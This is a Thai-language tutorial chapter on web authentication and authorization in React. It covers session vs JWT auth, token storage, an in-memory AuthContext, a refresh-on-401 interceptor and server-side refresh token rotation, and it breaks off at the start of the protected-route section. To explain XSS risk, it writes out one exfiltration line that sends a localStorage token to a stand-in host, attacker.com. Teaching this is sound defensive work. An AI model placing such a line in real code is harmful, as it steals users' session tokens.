Skip to content

บทที่ 16 — Authentication + Authorization

← บทที่ 15: a11y + i18n + SEO | สารบัญ | หมวด Security →

🔴 ระดับ: สูง — อ่านทีหลังได้ บทนี้แตะเรื่องความปลอดภัยที่ลึกพอควร เหมาะตอนเริ่มทำแอปที่มีระบบ user จริง ไม่ต้องรีบอ่านตั้งแต่เป็นมือใหม่

ควรผ่านก่อน: useContext + useState (บทที่ 2), React Router (บทที่ 5) — ถ้ายังไม่เคยใช้ Context หรือ routing แนะนำให้อ่านบทนั้นก่อน

บทนี้ยังสมมติว่าคุณมีพื้นฐาน backend เบื้องต้น (Node.js/Express หรือ Spring Boot, database พื้นฐาน) — ถ้ายังไม่เคยทำ backend เลย เนื้อหา Part 2 (roll-your-own auth) จะยากมาก แนะนำอ่านผ่านๆ ก่อนแล้วใช้ Auth.js/Clerk (Part 3-4) แทน

📖 คำศัพท์รวมของบท (อ่านก่อน — เยอะ แต่เจอทุกบท):

  • authentication (auth, authn) = พิสูจน์ตัวตน → "คุณคือใคร?" (login)
  • authorization (authz) = กำหนดสิทธิ์ → "คุณทำอะไรได้?" (admin/user)
  • cookie = ข้อมูลชิ้นเล็กๆ ที่ browser เก็บไว้แทน website และส่งกลับให้ server อัตโนมัติทุก request (ไม่ต้องเขียน code พิเศษ)
  • session = state ของ user ที่ login อยู่ (เก็บที่ server หรือใน cookie)
  • token = string ที่ server ออกให้ user ใช้แทนการ login ซ้ำ
  • JWT (JSON Web Token, อ่าน "จ๊อต") = token แบบ string ที่ server เซ็นลายเซ็นไว้ → server เช็คได้ว่าไม่ถูกแก้
  • access token = token อายุสั้น (~15 นาที) เก็บใน memory ใช้กับทุก API call
  • refresh token = token อายุยาว (~7 วัน) เก็บใน httpOnly cookie ใช้ขอ access token ใหม่
  • bcrypt / argon2 = algorithm hash password ที่ "ตั้งใจให้ช้า" → brute-force ยาก
  • salt = random string เพิ่มต่อ user → ทำให้ password เดียวกันได้ hash ต่างกัน → กัน rainbow table
  • httpOnly cookie = cookie ที่ JavaScript อ่านไม่ได้ — มีแต่ browser ส่งให้ server เอง (กัน XSS ขโมย)
  • SameSite cookie = attribute ที่บอก browser ว่า "ส่ง cookie นี้ตอนไหน" (strict/lax/none) → กัน CSRF
  • XSS (Cross-Site Scripting) = การโจมตีให้ JS ของ attacker รันในเว็บเรา (เช่น แอบ inject <script>) → อ่าน localStorage ได้
  • CSRF (Cross-Site Request Forgery) = หลอก browser ของ user ให้ยิง request โดย user ไม่ตั้งใจ
  • CORS (Cross-Origin Resource Sharing) = กฎที่ browser ใช้ตัดสินใจว่า JS จาก origin อื่นเรียก API ของเราได้ไหม
  • OAuth 2.0 = มาตรฐาน "Login with Google/Facebook/..." → user ไม่ต้องบอก password กับเรา
  • OIDC (OpenID Connect) = ส่วนต่อขยายบน OAuth ที่ใช้ดึงข้อมูลตัวตน user
  • PKCE (Proof Key for Code Exchange, อ่าน "พิกซี่") = ส่วนเสริมของ OAuth สำหรับ public client (SPA, mobile) ป้องกัน code interception
  • BFF (Backend for Frontend) = backend ของเราที่คั่นระหว่าง SPA กับ OAuth provider (จะอธิบายในบทนี้ หัวข้อ §10.5)
  • MFA / 2FA (Multi/Two-Factor Authentication) = ใช้ปัจจัยที่ 2 ยืนยัน (TOTP, SMS, biometric)
  • TOTP (Time-based One-Time Password) = รหัส 6 ตัวเปลี่ยนทุก 30 วินาที (Google Authenticator)
  • Passkey / WebAuthn = ระบบ login แบบไม่มี password ใช้ public/private key คู่ + biometric (จะอธิบายในบทนี้ หัวข้อ §10.6)
  • RBAC (Role-Based Access Control) = แบ่ง permission ตาม role (admin, user, guest)
  • rotation (refresh token rotation) = ออก refresh token ใหม่ทุกครั้งที่ใช้ + ยกเลิกตัวเก่า (รายละเอียดเรื่อง detect ขโมย + token family ดูเต็มๆ ใน §6.5)

ทุก production app ที่มี "user account" ต้องการ:

  1. Authentication (การพิสูจน์ตัวตน) — "คุณคือใคร?" (login, signup, logout, session)
  2. Authorization (การกำหนดสิทธิ์) — "คุณทำอะไรได้?" (role, permission, ownership)

บทนี้ครอบคลุม:

  • Password-based auth (form login + bcrypt + JWT/session)
  • OAuth (มาตรฐานให้ผู้ใช้ล็อกอินผ่านบริการอื่น เช่น "Login with Google" โดยไม่ต้องบอก password กับเรา) / OIDC (OpenID Connect — ส่วนต่อขยายบน OAuth ที่ใช้ดึงข้อมูลตัวตนผู้ใช้)
  • Token storage — JWT in localStorage vs httpOnly cookie (ปลอดภัยต่างกันมาก)
  • Refresh token flow
  • Protected route + role-based access
  • Auth.js (NextAuth), Clerk, Supabase Auth — library ปี 2026 (รายละเอียดการเลือก library ดู Part 4)
  • Session management + CSRF + sliding session

ก่อนเริ่ม — auth ทำผิดง่ายมาก. ขั้นนี้เลือกได้แค่ 2 ทาง:

  1. ใช้ library/service (Auth.js, Clerk, Supabase) → ผมแนะนำ default
  2. ทำเอง → ต้องระวังเรื่อง security เยอะ — ดู หมวด Security คู่กัน

⚠️ Landscape ปี 2026 (สำคัญ):

  • Lucia auth library ที่เคยฮิตปี 2022-2024 — ถูก deprecated มี.ค. 2025 ผู้เขียน (Pilcrow) ประกาศหยุดพัฒนาแล้วเปลี่ยนเป็น "learning resource" แทน → อย่าเริ่มโปรเจกต์ใหม่ด้วย Lucia ถ้ามีโปรเจกต์เก่า → ย้ายไป Auth.js v5 หรือ better-auth
  • better-auth — alternative ใหม่ TypeScript-first framework-agnostic กำลังโต น่าจับตา
  • Auth.js v5 — ยังเป็น default ที่แนะนำสำหรับ Next.js, Express, Hono
  • Clerk / Supabase Auth / Stack Auth — managed service ถ้าไม่อยาก self-host

1. Authentication vs Authorization — แยกให้ชัด

มือใหม่มักสับสน — เป็นคำคนละความหมาย:

AuthenticationAuthorization
คำถาม"คุณคือใคร?""คุณทำอะไรได้?"
Processlogin form, password check, OAuthcheck role/permission ก่อน action
ผลลัพธ์session/tokenallow/deny
Verb"authenticate" / "sign in""authorize" / "permit"
ตัวอย่างกรอก email+password → ได้ sessionsession = admin → เข้า /admin ได้

→ Auth ที่ดีต้องมีทั้งสอง

💡 ในงานจริง app ส่วนใหญ่มี bug ใน authorization (สิทธิ์) มากกว่า authentication (พิสูจน์ตัวตน) — ตัวอย่าง bug ที่เจอบ่อย: user A ส่ง request GET /api/orders/123 (ของ user B) → server ส่งคำตอบให้ เพราะ check แค่ว่า "login แล้ว" ไม่ check ว่าเป็นเจ้าของ order. นี่คือ IDOR (Insecure Direct Object Reference — การที่ระบบให้เข้าถึง resource โดยตรงจาก ID โดยไม่ตรวจว่าเป็นเจ้าของ) — bug ใน OWASP Top 10 (Open Web Application Security Project — องค์กรที่รวบรวมรายการช่องโหว่ที่พบบ่อยที่สุดในเว็บ) ทุกปี


Part 1: Concepts — Mental Model

2. Session vs Token Auth

ก่อนดู diagram ขอเปรียบอุปมาก่อน สองแบบนี้ต่างกันตรง "ใครเก็บข้อมูล"

ลองนึกถึงบัตรจอดรถห้างสรรพสินค้า แบบ session ก็เหมือนบัตรจอดรถแบบเก่า — คุณฝากบัตรตัวจริงไว้กับพนักงาน เวลาเข้าออกแค่บอกหมายเลข พนักงานไปดึงข้อมูลรถของคุณจากระบบ (server เก็บ session ไว้)

ส่วนแบบ token ก็เหมือนสมาร์ทการ์ดที่ chip ข้างในพิมพ์ชื่อ สิทธิ์ และวันหมดอายุไว้ครบ — เครื่องอ่านแค่สแกนบัตร ไม่ต้องถามฐานข้อมูลเลย (server ไม่ต้องเก็บอะไรไว้ แค่ verify ลายเซ็น)

diagram ด้านล่างแสดงขั้นตอนจริงของแต่ละแบบ:

มี 2 แบบหลัก:

A. Session-based (Traditional)

text
Browser                     Server (with session store)
   │                              │
   │ POST /login {email, pw}      │
   │ ───────────────────────────> │
   │                              │ verify → create session in DB/Redis
   │                              │ session_id = "abc123"
   │ <─────────────────────────── │
   │ Set-Cookie: sid=abc123       │
   │                              │
   │ GET /api/me                  │
   │ Cookie: sid=abc123 ────────> │
   │                              │ lookup sid → user
   │ <── { user: {...} } ──────── │
  • ดี: server ลบ session ได้ทันที (logout/revoke), state อยู่ server, ไม่มีข้อมูล user ใน client
  • ข้อจำกัด: ต้องมี session store (Redis/DB), ต้อง share session ข้าม server ใน scale

B. Token-based (JWT)

text
Browser                     Server (stateless)
   │                              │
   │ POST /login {email, pw}      │
   │ ───────────────────────────> │
   │                              │ verify → sign JWT { sub: userId, exp: ... }
   │ <─────────────────────────── │
   │ { accessToken: "eyJ..." }    │
   │                              │
   │ GET /api/me                  │
   │ Authorization: Bearer eyJ... │
   │ ───────────────────────────> │
   │                              │ verify JWT signature → decode
   │ <── { user: {...} } ──────── │
  • ดี: stateless (server ไม่ต้องเก็บ session), scale ง่าย, ใช้ข้าม service
  • ข้อจำกัด: ลบไม่ได้ก่อน expire (revoke ยาก), ขนาดใหญ่ขึ้น, ใส่ใน URL ไม่ได้

💡 ปี 2026 — Session ใน httpOnly cookie กลับมา mainstream (กระแสหลัก — ทุกคนเริ่มกลับมาใช้) เพราะปลอดภัยกว่า JWT ใน localStorage. Auth.js v5 + Next.js ใช้ pattern นี้ default (ดูวิธีใช้ Auth.js v5 ใน §11)

⚠️ Note: session-based ยังต้องการ shared session store (Redis หรือ DB) เมื่อ scale ข้าม instance หลายตัว — ซึ่ง JWT stateless ไม่ต้องการ แต่ tradeoff คือ revoke ได้ทันที

3. Token Storage — จุดที่ผิดบ่อยสุด

ถ้าใช้ token-based auth → เก็บ token ที่ไหน?

"in-memory" ในตารางด้านล่างหมายถึงเก็บเป็น useState ใน AuthContext ตามที่ทำไปใน §5 — เช่น const [accessToken, setAccessToken] = useState(null)

ค่านี้จะหายทันทีเมื่อ user reload หน้าหรือปิด tab นั่นคือ feature ไม่ใช่ bug เพราะถ้า attacker (ผู้โจมตี) ทำ XSS สำเร็จ ก็ยังขโมย token ออกจาก localStorage ได้อยู่ดี แต่ขโมยออกจาก JS memory ที่รันอยู่ตอนนั้นแล้วหยุดไม่ได้ เพราะ memory ไม่ถูกเขียนไปไหนให้ดักอ่านทีหลัง

ด้วยเหตุนี้ access token อายุสั้นจึงเหมาะกับ in-memory มาก ส่วน refresh token อายุยาวก็ไปอยู่ใน httpOnly cookie ที่ JS แตะไม่ได้แทน:

📖 ก่อนอ่านตาราง:

  • XSS = attacker inject <script> เข้าหน้าเว็บเรา (เช่นผ่าน comment ที่ไม่ escape) → JS ที่แอบเข้ามาอ่าน localStorage ได้ → ขโมย token
  • CSRF = attacker หลอก browser ของ user ให้ยิง request โดย user ไม่ตั้งใจ (เช่น คลิกลิงก์ ไป siteร้าย) → ถ้า cookie ส่งอัตโนมัติ → request ออกในนาม user

2 ภัยนี้ทิศทางตรงข้าม — ของที่กัน XSS มักไม่กัน CSRF (และกลับกัน) ดังนั้นปี 2026 แยก token เป็น 2 ตัว (access + refresh) เก็บคนละที่

ที่เก็บกัน XSS?กัน CSRF?Best for
localStorage❌ JS อ่านได้✅ ไม่ส่งอัตโนมัติไม่แนะนำ
sessionStorage❌ JS อ่านได้✅ ไม่ส่งอัตโนมัติdev/test เท่านั้น
In-memory (React state)✅ หายตอน reload✅ ไม่ส่งอัตโนมัติaccess token (short-lived ~15 นาที)
httpOnly Cookie✅ JS อ่านไม่ได้⚠️ ต้องใส่ CSRF token + SameSiterefresh token + session

⚠️ กฎทอง: JWT in localStorage = XSS bug ครั้งเดียว → token leaked → attacker เป็น user คนนั้น

ปี 2026 best practice: access token อยู่ใน memory (short-lived = อายุสั้น ~15 นาที), refresh token อยู่ใน httpOnly cookie

⚠️ ทำไม localStorage แย่

javascript
// ทุก XSS injection → ดึง token ได้:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));

XSS เกิดจาก: 3rd-party script (script จากภายนอกที่เราใส่ใน app เช่น analytics) ที่โดน compromise (โดน hack), library ที่ inject HTML (แทรก HTML ดิบ), dangerouslySetInnerHTML (API ของ React ที่ใส่ HTML ดิบ) ที่ไม่ sanitize (ล้างของอันตราย เช่น strip <script>)

→ "เรา trust ทุก script ใน app ของเรา ตลอด" = สมมติฐานที่ผิด


Part 2: Roll-your-own Auth (Token Pattern)

ก่อนใช้ library — ทำความเข้าใจ flow เอง

📝 Dependencies ที่ใช้ใน Part 2 (ติดตั้งที่ฝั่ง Node.js backend):

bash
npm install bcryptjs jsonwebtoken
npm install -D @types/bcryptjs @types/jsonwebtoken
  • bcryptjs — hash + verify password (ตั้งใจให้ช้าเพื่อกัน brute-force)
  • jsonwebtoken — sign + verify JWT

4. Login Flow

tsx
// api/auth.ts

// ⭐ User type — นิยามครั้งเดียว ใช้ทั้งโปรเจกต์ (ปรับ fields ตาม schema ของคุณ)
type User = {
    id: string;
    email: string;
    name: string;
    roles: Role[];           // สำหรับ role-based access (§8)
    permissions: Permission[];  // สำหรับ permission-based access (§8)
};
type Role = 'user' | 'admin' | 'manager';
type Permission = 'users:read' | 'users:write' | 'posts:delete' | 'admin:all';

type LoginRequest = { email: string; password: string };
type LoginResponse = { accessToken: string; user: User };

export async function login(data: LoginRequest): Promise<LoginResponse> {
    const res = await fetch('/api/auth/login', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        credentials: 'include',          // ⭐ ส่ง+รับ cookie
        body: JSON.stringify(data),
    });

    if (!res.ok) {
        const err = await res.json().catch(() => ({}));
        throw new Error(err.message || 'Login failed');
    }

    return res.json();
}

export async function logout() {
    await fetch('/api/auth/logout', { method: 'POST', credentials: 'include' });
}

export async function refresh(): Promise<{ accessToken: string }> {
    const res = await fetch('/api/auth/refresh', { method: 'POST', credentials: 'include' });
    if (!res.ok) throw new Error('Refresh failed');
    return res.json();
}

export async function me(token: string): Promise<User> {
    const res = await fetch('/api/me', {
        headers: { Authorization: `Bearer ${token}` },
    });
    if (!res.ok) throw new Error('Unauthorized');
    return res.json();
}

สำคัญ:

  • credentials: 'include' — ส่ง cookie ข้าม origin (refresh token cookie อยู่ตรงนั้น)
  • access token ใน response body → เก็บใน React state (memory)
  • refresh token ใน httpOnly cookie → browser ส่งให้อัตโนมัติ

5. Auth Context — เก็บ access token in-memory

📁 โครงสร้างโปรเจกต์ (สำหรับ Part 2 ทั้งหมด):

src/
  api/
    auth.ts      ← §4: login/logout/refresh/me
    http.ts      ← §6: interceptor + refresh on 401
  auth/
    AuthContext.tsx  ← §5: context + provider
    ProtectedRoute.tsx  ← §7
    RoleGate.tsx     ← §8

วิธีเก็บ access token ที่ปลอดภัยสุดคือเก็บใน memory (state/context) ไม่ใช่ localStorage — เพราะ localStorage ถูก JS อ่านได้ เสี่ยง XSS ขโมย token ส่วน refresh token อยู่ใน httpOnly cookie ที่ JS แตะไม่ได้ Auth Context จึงเป็นที่เก็บ token + state ของ user กลางทั้ง app:

⚠️ accessToken ที่ expose ใน context เป็น tradeoff เพื่อความสะดวก — ถ้า app ใหญ่ขึ้นควรพิจารณา expose getToken(): Promise<string> แทน และอย่า log หรือ persist ค่านี้ใน component

tsx
// auth/AuthContext.tsx
import { createContext, useContext, useState, useEffect, useCallback, ReactNode } from 'react';
import * as authApi from '../api/auth';
// ⭐ http.ts (§6) เก็บ accessToken เป็น module-level variable แยกต่างหากจาก React state ที่นี่
//    ต้อง sync 2 ที่นี้ทุกครั้งที่ token เปลี่ยน ไม่งั้น http() จะยิง request ด้วย token เก่า/null
import { setAccessToken as setHttpToken } from '../api/http';
// User, Role, Permission types นิยามใน api/auth.ts (§4)

type AuthContextValue = {
    user: User | null;
    accessToken: string | null;
    login: (email: string, password: string) => Promise<void>;
    logout: () => Promise<void>;
    isLoading: boolean;
};

const AuthContext = createContext<AuthContextValue | null>(null);

export function AuthProvider({ children }: { children: ReactNode }) {
    const [user, setUser] = useState<User | null>(null);
    const [accessToken, setAccessToken] = useState<string | null>(null);
    const [isLoading, setIsLoading] = useState(true);

    // 1) ตอน app เริ่ม — ลอง refresh (cookie อาจมี)
    useEffect(() => {
        let cancelled = false;
        // ⭐ useEffect callback ไม่รับ async function โดยตรง
        //    จึงต้องห่อใน IIFE (Immediately Invoked Function Expression)
        (async () => {
            try {
                // เปลี่ยนชื่อ destructured variable เพื่อหลีกเลี่ยง shadowing กับ state
                const { accessToken: newToken } = await authApi.refresh();
                if (cancelled) return;
                const fetchedUser = await authApi.me(newToken);
                if (cancelled) return;
                setAccessToken(newToken);
                setHttpToken(newToken);   // ⭐ sync กับ module-level token ใน http.ts
                setUser(fetchedUser);
            } catch {
                // ไม่มี session — ปกติ (network error จริงๆ จะ log ที่ authApi layer)
            } finally {
                if (!cancelled) setIsLoading(false);
            }
        })();
        return () => { cancelled = true; };
    }, []);

    // useCallback ป้องกัน child component re-render โดยไม่จำเป็น
    const login = useCallback(async (email: string, password: string) => {
        const { accessToken: newToken, user: newUser } = await authApi.login({ email, password });
        setAccessToken(newToken);
        setHttpToken(newToken);   // ⭐ sync กับ module-level token ใน http.ts
        setUser(newUser);
    }, []);

    const logout = useCallback(async () => {
        await authApi.logout();
        setAccessToken(null);
        setHttpToken(null);   // ⭐ sync กับ module-level token ใน http.ts
        setUser(null);
    }, []);

    return (
        // React 19: ใช้ <Context> ตรงๆ ไม่ต้อง .Provider แล้ว
        // ถ้าใช้ React < 19 ให้เปลี่ยนเป็น: <AuthContext.Provider value={...}>
        <AuthContext value={{ user, accessToken, login, logout, isLoading }}>
            {children}
        </AuthContext>
    );
}

export function useAuth() {
    const ctx = useContext(AuthContext);
    if (!ctx) throw new Error('useAuth must be inside AuthProvider');
    return ctx;
}

6. Refresh Token Flow — auto refresh ก่อน expire

Access token อายุสั้น (5-15 นาที) → ต้อง refresh เป็นระยะ

Pattern 1: Refresh on 401 (HTTP status code 401 = Unauthorized — ไม่มีสิทธิ์หรือ token หมดอายุ)

คิดว่าฟังก์ชัน http() ใน http.ts เป็น "พนักงานรับโทรศัพท์ส่วนกลาง" — ทุก API call ของทุก component ผ่านตรงนี้ก่อนเสมอ ถ้าโทรไปแล้วได้ยิน 401 (token หมด) แทนที่จะรายงานล้มเหลวทันที มันจะ 1) โทรไปขอ token ใหม่ (refresh) 2) โทรซ้ำด้วย token ใหม่นั้น

ทีนี้ลองนึกภาพว่า Dashboard มี 5 component โหลดข้อมูลพร้อมกัน ทุกตัวได้ 401 พร้อมกัน ถ้าต่างคนต่าง refresh จะได้ token 5 ตัว แต่ token แรกที่ rotate ออกมาจะ invalidate ตัวที่เหลือทันที

นั่นคือเหตุผลที่โค้ดด้านล่างมี refreshPromise — ใช้เก็บ promise ของการ refresh ที่กำลังเกิดขึ้น ถ้าคนที่ 2 มาขอ refresh ก็ return promise เดิม ทั้ง 5 รอผลร่วมกัน refresh แค่ครั้งเดียว:

tsx
// api/http.ts — axios-like interceptor
import * as authApi from './auth';

// ⭐ module-level variable = ตัวแปรที่ share ข้าม component ทั้ง app ใน SPA (process เดียว)
//    ต่างจาก React state ตรงที่ไม่ trigger re-render
//    ⚠️ ห้ามใช้ pattern นี้ใน SSR/Next.js server — ดู note ข้างล่าง
let accessToken: string | null = null;
let refreshPromise: Promise<string> | null = null;

// ⭐ custom error class ต้อง declare ก่อนใช้งาน (class ไม่ถูก hoist เหมือน function)
export class ApiError extends Error {
    constructor(public status: number, message: string) {
        super(message);
        this.name = 'ApiError';
    }
}

export function setAccessToken(token: string | null) {
    accessToken = token;
}

async function refreshAccessToken(): Promise<string> {
    // dedup concurrent refresh requests (ป้องกัน refresh ซ้ำซ้อน)
    if (refreshPromise) return refreshPromise;

    refreshPromise = authApi.refresh().then(({ accessToken: newToken }) => {
        accessToken = newToken;
        refreshPromise = null;
        // ⭐ แจ้ง AuthContext ให้ sync token ใหม่เข้า React state ด้วย
        //    (ไม่งั้น component ที่อ่าน accessToken จาก useAuth() จะเห็นค่าเก่า/null ต่อไป
        //    แม้ module-level token ข้างบนจะอัปเดตแล้วก็ตาม)
        window.dispatchEvent(new CustomEvent('auth:token-refreshed', { detail: { accessToken: newToken } }));
        return newToken;
    }).catch((err) => {
        refreshPromise = null;
        accessToken = null;
        // emit logout event
        window.dispatchEvent(new Event('auth:expired'));
        throw err;
    });

    return refreshPromise;
}

// <T> คือ generic type — ทำให้ฟังก์ชันคืนค่า type ที่ caller ระบุ เช่น http<User>('/api/me')
export async function http<T>(path: string, options: RequestInit = {}): Promise<T> {
    // ⚠️ pattern spread `...options.headers` นี้ใช้ได้เฉพาะเมื่อ caller ส่ง headers เป็น plain object
    //    (เช่น `{ 'X-Foo': 'bar' }`) — ถ้า caller ส่งเป็น `new Headers(...)` instance แทน spread จะได้ `{}`
    //    (Headers ไม่ใช่ plain object) ทำให้ header ที่ตั้งใจส่งหายเงียบๆ ถ้าจะรองรับทั้ง 2 แบบ
    //    ให้ normalize ก่อนด้วย `Object.fromEntries(new Headers(options.headers))`
    const doFetch = (token: string | null) => fetch(path, {
        ...options,
        credentials: 'include',
        headers: {
            // spread order: default ก่อน → options.headers override ได้
            'Content-Type': 'application/json',
            ...options.headers,                                    // caller override Content-Type ได้ (เช่น multipart/form-data) — ต้องเป็น plain object เท่านั้น
            ...(token ? { Authorization: `Bearer ${token}` } : {}), // Authorization อยู่หลังสุด — ไม่ให้ caller ลบออก
        },
    });

    let res = await doFetch(accessToken);

    // ถ้า 401 (Unauthorized — token หมดอายุ) + ยังไม่ retry → try refresh + retry
    // ⭐ เช็ค `accessToken` truthy ก่อน — ถ้า accessToken เป็น null (ยังไม่เคย login) จะข้าม refresh ไปเลย
    //    เพราะไม่มี token ให้ refresh จาก — เป็น behavior ที่ตั้งใจ ไม่ใช่ bug
    //    (401 กรณีนี้ = "ยังไม่ login" ไม่ใช่ "refresh ล้มเหลว")
    if (res.status === 401 && accessToken) {
        try {
            const newToken = await refreshAccessToken();
            res = await doFetch(newToken);
        } catch {
            // refresh fail → user ต้อง login ใหม่
        }
    }

    if (!res.ok) {
        const errBody = await res.json().catch(() => ({}));
        throw new ApiError(res.status, errBody.message || res.statusText);
    }

    if (res.status === 204) return undefined as T;
    return res.json();
}

ใน AuthProvider:

tsx
useEffect(() => {
    function handleExpired() {
        setUser(null);
        setAccessToken(null);
    }
    // ⭐ http.ts refresh สำเร็จเงียบๆ (นอก login()/refresh() ปกติ) → sync token กลับเข้า context
    function handleRefreshed(e: Event) {
        const { accessToken: newToken } = (e as CustomEvent<{ accessToken: string }>).detail;
        setAccessToken(newToken);
    }
    window.addEventListener('auth:expired', handleExpired);
    window.addEventListener('auth:token-refreshed', handleRefreshed);
    return () => {
        window.removeEventListener('auth:expired', handleExpired);
        window.removeEventListener('auth:token-refreshed', handleRefreshed);
    };
}, []);

⭐ Pattern ที่สำคัญ: dedup (deduplication — ป้องกัน request ซ้ำ) concurrent refresh

ลองนึกภาพว่า user เปิดหน้า Dashboard ที่มี 5 component โหลด data พร้อมกัน ถ้า token หมดอายุ → ทั้ง 5 จะส่ง 401 พร้อมกัน → ถ้า refresh 5 ครั้ง: token แรกที่ได้กลับมาจะ invalidate token ที่เหลือ (เพราะ rotation) → 4 request ล้มเหลว. Solution: share refreshPromise เดียว — ถ้ากำลัง refresh อยู่ → return promise เดิม

⚠️ Foot-gun (ข้อควรระวัง — pattern ที่ดูเหมือนถูกแต่ทำให้เจ็บตัวเองได้ถ้าใช้ผิดบริบท): module-level accessToken — โค้ดข้างบนเก็บ accessToken เป็น module-level variable. ใน Vite SPA (process เดียว = user เดียว) OK

แต่ ห้ามใช้ pattern นี้ใน Next.js/SSR/Node server — module state ใช้ร่วมกันข้าม request ของ user หลายคน → token ของ user A leak ไป request ของ user B ได้. ฝั่ง server ต้องใช้ request-scoped context (เช่น AsyncLocalStorageAPI ของ Node.js สำหรับเก็บข้อมูลแยกตาม request/user คล้าย thread-local ใน Java) หรือ pass token ผ่าน argument

⚠️ Dev note: module-level state อาจ reset ได้ใน HMR (Hot Module Replacement — Vite reload module ใหม่ขณะ dev) ทำให้ accessToken กลับเป็น null กะทันหัน — ถ้าเจอพฤติกรรมแปลกใน dev ให้ sync กับ setAccessToken ใน AuthContext

6.5 Refresh Token Rotation — ป้องกัน refresh token theft (server-side)

🔴 สำคัญ — ถ้าไม่มี rotation, refresh token ที่หลุดครั้งเดียว = attacker ใช้ได้ตลอด 7 วัน (หรือนานกว่า)

ลองนึกว่า refresh token คือกุญแจบ้าน ทุกครั้งที่ใช้กุญแจเปิดประตู ช่างกุญแจจะเปลี่ยนให้ใหม่ทันทีและทำลายตัวเก่า (นี่คือ rotation)

ถ้าวันหนึ่งมีคนเอากุญแจตัวเก่าที่ "ถูกทำลายแล้ว" มาใช้ได้ นั่นหมายความว่ากุญแจนั้นถูกขโมยไปก่อนที่จะถูกทำลาย ช่างกุญแจจะเปลี่ยนล็อคบ้านทั้งหมดเลย (invalidate token family ทั้ง chain) เพื่อความปลอดภัย

ใน pseudocode ด้านล่าง familyId คือหมายเลขล็อคบ้าน — ทุก token ในชุดเดียวกัน (A → B → C) ใช้ familyId เดียวกัน ทำให้ revoke ได้ทั้งชุดในครั้งเดียว:

Rotation idea: refresh token เป็น one-time use — ใช้ขอ access token ใหม่ 1 ครั้ง → server ออก refresh token ใหม่ + invalidate ตัวเก่า. ถ้า refresh token เก่า ถูกใช้ซ้ำหลังออกตัวใหม่แล้ว = มีคนขโมย → invalidate ทั้ง token family

Token family (กลุ่ม token ที่ chain กัน): A → ใช้ → ออก B → ใช้ → ออก C ทั้ง 3 ผูกใน familyId เดียวกัน. ถ้า A ถูกใช้ซ้ำหลังจาก B ออกไปแล้ว → ทั้ง chain (A, B, C) ถูก revoke ทันที → ทั้ง attacker และ user จริงต้อง login ใหม่ (acceptable trade-off เพราะกัน account takeover)

Server-side pseudocode:

📝 pseudocode นี้เขียนแบบ Express/Hono style — hash() ใช้ bcryptjs, signJwt() ใช้ jsonwebtoken, addDays() ใช้ date-fns ⚠️ SameSite=Strict ใช้ได้ดีเมื่อ SPA และ API อยู่ same-site (same domain/subdomain) — ถ้า cross-origin ให้ใช้ BFF pattern (§10.5)

ts
// POST /api/auth/refresh
async function handleRefresh(req, res) {   // Express/Hono style: req + res
    const oldToken = req.cookies.get('refresh_token');
    if (!oldToken) return res.status(401).json({ code: 'no_token' });

    const row = await db.refreshToken.findUnique({ where: { token: hash(oldToken) } });

    // 1) Token ไม่เคยมี / หมดอายุแล้ว → reject
    if (!row || row.expiresAt < new Date()) return res.status(401).json({ code: 'invalid_token' });

    // 2) ⭐ Reuse detection — token ตัวนี้เคยถูกใช้ไปแล้ว = ของจริงโดนขโมย
    if (row.usedAt !== null) {
        // ออก replacement (row.replacedBy) ไปแล้ว แล้วยังมีคนเอา oldToken มาใช้ซ้ำ
        // → ของจริง vs ขโมย ไม่รู้ใครเป็นใคร → revoke ทั้ง family เพื่อความปลอดภัย
        await db.refreshToken.updateMany({
            where: { familyId: row.familyId },
            data: { revokedAt: new Date(), revokeReason: 'reuse_detected' },
        });
        // (optional) แจ้ง user ทาง email ว่ามี suspicious activity
        return res.status(401).json({ code: 'token_reuse_detected' });
    }

    // 3) Normal rotation — mark ตัวเก่า used + ออกใหม่ใน family เดียวกัน
    // ใช้ Web Crypto API (ทำงานได้ทั้ง Node.js และ Edge Runtime เช่น Cloudflare Workers)
    const newToken = Buffer.from(crypto.getRandomValues(new Uint8Array(32))).toString('hex');
    const newRow = await db.refreshToken.create({
        data: {
            token: hash(newToken),
            userId: row.userId,
            familyId: row.familyId,                 // ⭐ chain เดียวกัน
            expiresAt: addDays(new Date(), 7),
        },
    });
    await db.refreshToken.update({
        where: { id: row.id },
        data: { usedAt: new Date(), replacedBy: newRow.id },
    });

    // 4) ออก access token ใหม่ + ส่ง refresh token ใหม่กลับเป็น httpOnly cookie
    // 📝 ถ้า production ใช้ jti/sessionVersion mitigation จาก §11 (JWT role staleness) ด้วย —
    //    ต้องใส่ claim พวกนั้นตรงนี้ทุกครั้งที่ sign ใหม่ ไม่ใช่แค่ตอน login ครั้งแรก
    const newAccessToken = signJwt({ sub: row.userId }, { expiresIn: '15m' });
    res.cookie('refresh_token', newToken, {
        httpOnly: true, secure: true, sameSite: 'strict', path: '/api/auth',
        maxAge: 7 * 24 * 3600 * 1000,
    });
    return res.json({ accessToken: newAccessToken });
}

Client side ไม่ต้องเปลี่ยนอะไร — เพราะ refresh token cookie ถูก browser แทนที่ให้อัตโนมัติ. แต่ต้อง handle 401 ที่มี token_reuse_detected → force logout + แจ้ง user

ts
// ใน refreshAccessToken() ของ §6
// ⭐ server ส่ง { code: 'token_reuse_detected' } → ApiError parse มาจาก response body
//    ต้องให้ authApi.refresh() parse code จาก response ก่อน throw ด้วย .code property
.catch((err) => {
    refreshPromise = null;
    accessToken = null;
    if (err.code === 'token_reuse_detected') {
        // suspicious — ขอให้ user login ใหม่ + อาจส่ง email แจ้ง
        window.dispatchEvent(new CustomEvent('auth:compromised'));
    } else {
        window.dispatchEvent(new Event('auth:expired'));
    }
    throw err;
});

📝 เชื่อม server ↔ client: authApi.refresh() ต้อง parse code จาก response body แล้วใส่ใน error object ด้วย เช่น:

ts
// api/auth.ts — refresh function
if (!res.ok) {
    const body = await res.json().catch(() => ({}));
    const e = Object.assign(new Error(body.code || 'Refresh failed'), { code: body.code });
    throw e;
}

💡 ทำไม usedAt ไม่ใช่ลบ row ทิ้ง? — ต้องเก็บไว้เพื่อ detect reuse. ถ้าลบทิ้งทันทีหลัง rotate → attacker เอา token เก่ามายื่นซ้ำ ดูเหมือน "token ไม่เคยมี" แทนที่จะ detect ว่าเป็นการขโมย

7. Protected Route + Loading State

tsx
// auth/ProtectedRoute.tsx
import { type ReactNode } from 'react';
import { Navigate, useLocation } from 'react-router'; // React Router v7 — ดูบท 5
import { useAuth } from './AuthContext';
// Spinner คือ loading component ที่สร้างเองหรือใช้จาก UI library เช่น MUI, shadcn/ui

